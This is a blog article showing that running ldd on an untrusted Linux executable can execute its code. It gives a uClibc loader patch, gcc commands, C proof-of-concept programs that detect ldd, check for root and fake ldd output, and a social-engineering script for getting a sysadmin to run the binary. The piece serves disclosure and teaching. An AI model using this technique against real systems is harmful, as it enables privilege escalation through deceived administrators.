https://catonmat.net/ldd-arbitrary-code-execution
[catonmat-l]
* archive
* books
* tools
* projects
* about
ldd arbitrary code execution
Last updated 6 weeks ago
The ldd utility is more vulnerable than you think. It's frequently
used by programmers and system administrators to determine the
dynamic library dependencies of executables. Sounds pretty innocent,
right? Wrong!
In this article I am going to show you how to create an executable
that runs arbitrary code if it's examined by ldd. I have also written
a social engineering scenario on how you can get your sysadmin to
unknowingly hand you his privileges.
I researched this subject thoroughly and found that it's almost
completely undocumented. I have no idea how this could have gone
unnoticed for such a long time. Here are the only few documents that
mention this interesting behavior: 1, 2, 3, 4.
First let's understand how ldd works. Take a look at these three
examples:
[1] $ ldd /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eca000)
/lib/ld-linux.so.2 (0xb801e000)
[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
/lib/ld-linux.so.2 (0xb7f84000)
[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
/lib/ld-linux.so.2 (0xb80d0000)
The first command [1] runs ldd on /bin/grep. The output is what we
expect -- a list of dynamic libraries that /bin/grep depends on.
The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment
variable and seemingly executes /bin/grep (but not quite).
Surprisingly the output is the same!
The third command [3] again sets the LD_TRACE_LOADED_OBJECTS
environment variable, calls the dynamic linker/loader ld-linux.so and
passes /bin/grep to it as an argument. The output is again the same!
What's going on here?
It turns out that ldd is nothing more than a wrapper around the 2nd
and 3rd command. In the 2nd and 3rd example /bin/grep was never run.
That's a peculiarity of the GNU dynamic loader. If it notices the
LD_TRACE_LOADED_OBJECTS environment variable, it never executes the
program, it outputs the list of dynamic library dependencies and
quits. (On BSD ldd is a C program that does the same.)
If you are on Linux, take a look at the ldd executable. You'll find
that it's actually a bash script. If you step through it very
carefully, you'll notice that the 2nd command gets executed if the
program specified to ldd can't be loaded by the ld-linux.so loader,
and that the 3rd command gets executed if it can.
One particular case when a program won't be handled by ld-linux.so is
when it has a different loader than the system's default specified in
it's .interp ELF section. That's the whole idea in executing
arbitrary code with ldd -- load the executable via a different loader
that does not handle LD_TRACE_LOADED_OBJECTS environment variable but
instead executes the program.
For example, you can put a malicious executable in ~/app/bin/exec and
have it loaded by ~/app/lib/loader.so. If someone does ldd /home/you/
app/bin/exec then it's game over for them. They just ran the nasty
code you had put in your executable. You can do some social
engineering to get the sysadmin to execute ldd on your executable
allowing you to gain the control over the box.
Compiling the new loader.
Get the uClibc C library. It has pretty code and can be easily
patched to bypass the LD_TRACE_LOADED_OBJECTS checks.
$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'
Unpack it and run make menuconfig, choose the target architecture
(most likely i386), leave everything else unchanged.
app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig
Edit .config and set the destination install directory to /home/you/
app/uclibc.
# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"
# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"
Now we'll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.
Here is the patch. It patches the ldso/ldso/ldso.c file. Save the
patch to a file and run patch -p0 < file. If you don't do it,
arbitrary code execution won't work, because it will think that ldd
wants to list dependencies.
--- ldso/ldso/ldso-orig.c 2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c 2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
}
#endif
+ /*
if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
trace_loaded_objects++;
}
+ */
#ifndef __LDSO_LDD_SUPPORT__
if (trace_loaded_objects) {
Now compile and install it.
app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install
This will install the uClibc loader and libc library to /home/you/app
/uclibc.
That's it. We have now installed uClibc. All we have to do now is
link our executable with uClibc's loader (app/lib/ld-uClibc.so.0). It
will execute the code if run under ldd!
Creating and linking an executable with uClibc's loader.
First let's create a test application that will just print something
when executed via ldd and let's put it in app/bin/myapp
app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c
Let's write the following in myapp.c.
#include <stdio.h>
#include <stdlib.h>
int main() {
if (getenv("LD_TRACE_LOADED_OBJECTS")) {
printf("All your box are belong to me.\n");
}
else {
printf("Nothing.\n");
}
return 0;
}
This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env
variable is set or not. If the variable set, the program acts
maliciously but if it's not, the program acts as if nothing happened.
The compilation is somewhat complicated because we have to link with
the new C library statically (because anyone who might execute our
program via ldd will not have our new C library in their
LD_LIBRARY_PATH) and specify the new loader:
app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
-Wl,-rpath-link,$L/lib \
-nostdlib \
myapp.c -o myapp \
$L/usr/lib/crt*.o \
-L$L/usr/lib/ \
-lc
Here is the explanation of options passed to gcc:
* -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 -- specifies the new
loader,
* -Wl,-rpath-link,$L/lib -- specifies the primary directory where
the dynamic loader will look for dependencies,
* -nostdlib -- don't use system libraries,
* myapp.c -o myapp -- compile myapp.c to executable myapp,
* $L/usr/lib/crt*.o -- statically link to initial runtime code,
function prolog, epilog,
* -L$L/usr/lib/ -- search for libc in this directory,
* -lc -- link with the C library.
Now let's run the new myapp executable. First, without ldd:
app/bin$ ./myapp
Nothing.
LD_TRACE_LOADED_OBJECTS environment variable was not set and the
program output "Nothing." as expected.
Now let's run it via ldd and for the maximum effect, let's run it
from the root shell, as if I was the sysadmin:
app/bin$ su
Password:
app/bin# ldd ./myapp
All your box are belong to me.
Wow! The sysadmin just executed our exploit! He lost the system.
A more sophisticated example.
Here is a more sophisticated example that I just came up with. When
run without ldd this application fails with a fictitious "error while
loading shared libraries" error. When run under ldd it checks if the
person is root, and owns the box. After that it fakes ldd output and
pretends to have libat.so.0 missing.
This code needs a lot of improvements and just illustrates the main
ideas.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.
I haven't implemented anything malicious but have written down some ideas
of what could be done.
This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/
void pretend_as_ldd()
{
printf("\tlinux-gate.so.1 => (0xffffe000)\n");
printf("\tlibat.so.0 => not found\n");
printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}
void malicious()
{
if (geteuid() == 0) {
/* we are root ... */
printf("poof, all your box are belong to us\n");
/* silently add a new user to /etc/passwd, */
/* or create a suid=0 program that you can later execute, */
/* or do something really nasty */
}
}
int main(int argc, char **argv)
{
if (getenv("LD_TRACE_LOADED_OBJECTS")) {
malicious();
pretend_as_ldd();
return 0;
}
printf("%s: error while loading shared libraries: libat.so.0: "
"cannot open shared object file: No such file or directory\n",
argv[0]);
return 127;
}
Actually you can put the code you want to get executed right in the
loader itself. This way the executable will always look clean.
Social engineering.
Most system administrators probably don't know that they should never
run ldd on unfamiliar executables.
Here is a fake scenario on how to get your sysadmin run ldd on your
executable.
Sysadmin's phone: ring, ring.
Sysadmin: "Mr. sysadmin here. How can I help you?"
You: "Hi. An app that I have been using has started misbehaving. I am
getting weird dependency errors. Could you see what is wrong?"
Sysadmin: "Sure. What app is it?"
You: "It's in my home directory, /home/carl/app/bin/myapp. Sometimes
when I run it, it says something about 'error while loading shared
libraries'."
Sysadmin: "Just a sec." noise from keyboard in the background
Sysadmin: "What was it again? It must be some kind of a library
problem. I am going to check its dependencies."
You: "Thanks, it's /home/carl/app/bin/myapp."
Sysadmin: "Hmm. It says it's missing libat.so.0, ever heard of it?"
You: "Nope, no idea... I really need to get my work done, can you
check on that and get back to me?" evil grin in the background
Sysadmin: "Okay Carl, I'm gonna call you back."
You: "Thanks! See ya."
You: mv ~/.hidden/working_app ~/app/bin/myapp.
After a while.
Sysadmin calls: "Hi. It seems to be working now. I don't know what
the problem was."
You: "Oh, okay. Thanks!"
Lesson to be learned: Never run ldd on unknown executables!
P.S. If you enjoyed this article subscribe to my future posts! I have
many more quality articles coming.
Read more articles -
Thanks for reading my post. If you enjoyed it and would like to
receive my posts automatically, you can subscribe to new posts via
rss feed or email.
[ ] Subscribe
Python Library for Google Translate
The Busy Beaver Problem
[this-space]
Secret message: Use coupon code JELLYLING to get a discount at my
company Browserling!